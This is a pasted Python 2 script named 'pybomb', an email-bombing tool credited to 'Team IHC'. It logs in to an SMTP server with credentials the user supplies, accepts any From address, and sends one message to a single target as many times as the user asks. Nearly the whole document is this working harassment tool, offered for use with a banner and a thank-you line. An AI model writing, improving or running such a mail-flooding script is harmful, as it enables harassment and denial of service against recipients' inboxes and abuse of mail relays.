SHOW:
|
|
- or go back to the newest paste.
1 | import smtplib | |
2 | import mimetypes | |
3 | import sys | |
4 | import time | |
5 | from email.MIMEText import MIMEText | |
6 | class SMTP(object): | |
7 | def title(self): | |
8 | print """ \t______ _ _ | |
9 | \t| ___ \ | | | | | |
10 | \t| |_/ /_ _| |__ ___ _ __ ___ | |__ | |
11 | \t| __/| | | | '_ \ / _ \| '_ ` _ \| '_ \ | |
12 | \t| | | |_| | |_) | (_) | | | | | | |_) | | |
13 | \t\_| \__, |_.__/ \___/|_| |_| |_|_.__/ | |
14 | \t __/ | | |
15 | \t |___/ | |
16 | \t Tool made by: Team IHC | |
17 | """ | |
18 | ||
19 | def SMTPconnect(self): | |
20 | print "For a complete list of SMTP server go to this link:" | |
21 | print "http://www.e-eeasy.com/SMTPServerList.aspx" | |
22 | self.smtpserver=raw_input("\nEnter SMTP server: ") | |
23 | self.smtpport=input("Enter SMTP port (Usualy 25 or 465): ") | |
24 | print "\tMaking Connection, Please wait" | |
25 | print "\tThis will take some seconds!" | |
26 | try: | |
27 | self.mailServer = smtplib.SMTP(self.smtpserver,self.smtpport) | |
28 | except IOError, e: | |
29 | print 'Error: %s' %(e) | |
30 | time.sleep(5) | |
31 | sys.exit(1) | |
32 | self.mailServer.starttls() | |
33 | self.username=raw_input("\nEnter Username: ") | |
34 | self.password=raw_input("Enter Password: ") | |
35 | try: | |
36 | self.mailServer.login(self.username,self.password) | |
37 | except BaseException, e: | |
38 | print 'Error: %s' % (e) | |
39 | time.sleep(3) | |
40 | sys.exit(1) | |
41 | def buildemail(self): | |
42 | print "\tBuilding message part" | |
43 | self.From = raw_input("\nFrom: ") | |
44 | self.To = raw_input("\nTo: ") | |
45 | self.Subject = raw_input("\nSubject: ") | |
46 | self.Message = raw_input("\nMessage: ") | |
47 | mensaje = MIMEText(self.Message) | |
48 | mensaje['From']=self.From | |
49 | mensaje['To']=self.To | |
50 | mensaje['Subject']=self.Subject | |
51 | self.ammount = input("How Many times would you like to send email: ") | |
52 | x = 0 | |
53 | while x < self.ammount: | |
54 | self.mailServer.sendmail(self.From, self.To, mensaje.as_string()) | |
55 | x+=1 | |
56 | print "Send %d messages to %s" %(self.ammount,self.To) | |
57 | time.sleep(7) | |
58 | print "Thnx for using pybomb!\nhttp://facebook.com/itsmehulbhatt\n" | |
59 | if __name__ == '__main__': | |
60 | s = SMTP() | |
61 | s.title() | |
62 | s.SMTPconnect() | |
63 | s.buildemail() |